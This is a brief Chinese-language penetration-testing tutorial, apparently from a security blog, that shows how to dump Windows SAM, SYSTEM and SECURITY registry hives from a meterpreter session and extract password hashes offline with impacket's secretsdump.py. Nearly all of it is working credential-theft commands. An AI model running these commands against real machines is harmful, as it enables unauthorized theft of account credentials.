专注APT攻击与防御

https://micropoor.blogspot.com/

很多环境下，不允许上传或者使用mimikatz。而针对非域控的单机离线提取hash显得

尤为重要。

在meterpreter shell命令切到交互式cmd命令。

reg save 方式使得需要下载的目标机hash文件更小。

reg save HKLM\SYSTEM sys.hiv

reg save HKLM\SAM sam.hiv

reg save hklm\security security.hiv

meterpreter下自带download功能。

离线提取：

本季用到的是impacket的 secretsdump.py。Kali默认路径：/root/impacket/examples/secretsdump.py

命令如下：

1 root@John:/tmp# python /root/impacket/examples/secretsdump.py ‐sam sa m.hiv ‐security security.hiv ‐system sys.hiv LOCAL

Micropoor